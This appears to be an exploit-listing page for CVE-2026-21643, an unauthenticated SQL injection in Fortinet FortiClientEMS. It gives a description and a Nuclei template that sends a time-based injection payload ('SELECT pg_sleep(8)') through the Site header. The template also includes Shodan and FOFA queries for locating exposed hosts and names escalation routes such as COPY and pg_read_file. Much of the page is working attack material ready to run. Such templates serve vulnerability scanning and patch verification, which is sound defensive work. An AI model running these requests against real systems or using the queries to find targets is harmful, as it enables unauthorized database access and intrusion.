CVE-2026-21643: Fortinet FortiClientEMS 7.4.4 - SQL Injection

2026-04-09 Fortinet FortiClientEMS PoC Public

Description

Fortinet FortiClientEMS version 7.4.4 and earlier contains an unauthenticated SQL injection vulnerability in the /api/v1/init_consts endpoint. The 'Site' HTTP header value is passed directly into the PostgreSQL search_path without sanitization, allowing remote unauthenticated attackers to inject arbitrary SQL commands. This can lead to information disclosure, database manipulation, or OS command execution when chained with PostgreSQL functions.

PoC

id: CVE-2026-21643

info:
  name: Fortinet FortiClientEMS 7.4.4 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    Fortinet FortiClientEMS version 7.4.4 and earlier contains an unauthenticated SQL injection vulnerability in the /api/v1/init_consts endpoint. The 'Site' HTTP header value is passed directly into the PostgreSQL search_path without sanitization, allowing remote unauthenticated attackers to inject arbitrary SQL commands. This can lead to information disclosure, database manipulation, or OS command execution when chained with PostgreSQL functions.
  impact: |
    An unauthenticated remote attacker can execute arbitrary SQL queries against the backend PostgreSQL database, potentially extracting sensitive data, modifying database contents, or achieving remote code execution through PostgreSQL-specific functions (e.g., COPY, lo_import, pg_read_file).
  remediation: |
    Upgrade FortiClientEMS to a patched version as recommended by Fortinet. As a workaround, restrict network access to the FortiClientEMS management interface and apply WAF rules to filter malicious Site header values.
  reference:
    - https://www.fortiguard.com/psirt/FG-IR-2026-21643
    - https://nvd.nist.gov/vuln/detail/CVE-2026-21643
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-21643
    cwe-id: CWE-89
    epss-score: 0.94085
    epss-percentile: 0.99841
  metadata:
    verified: false
    max-request: 2
    vendor: fortinet
    product: forticlientems
    shodan-query: http.favicon.hash:-800551065
    fofa-query: icon_hash="-800551065"
  tags: cve,cve2026,sqli,forticlient,ems,fortinet,,vkev,kev

http:
  - raw:
      - |
        GET /api/v1/init_consts HTTP/1.1
        Host: {{Hostname}}

      - |
        @timeout: 20s
        GET /api/v1/init_consts HTTP/1.1
        Host: {{Hostname}}
        Site: tenant1; SELECT pg_sleep(8)--

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_1, "SITES_ENABLED\": true")'

      - type: dsl
        name: time-based
        dsl:
          - "duration_2>=8"
          - "status_code_2 == 500"
        condition: and
# digest: 490a00463044022048368141780e2b1e67ecffddfb7db741a12c5de1e3b3a5a257cec28a0ab4e4c702206745a71829ac8903c3317bc72b211a33e2d6f2cf4f8d8cbe0a3f0c3d4fc9d048:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities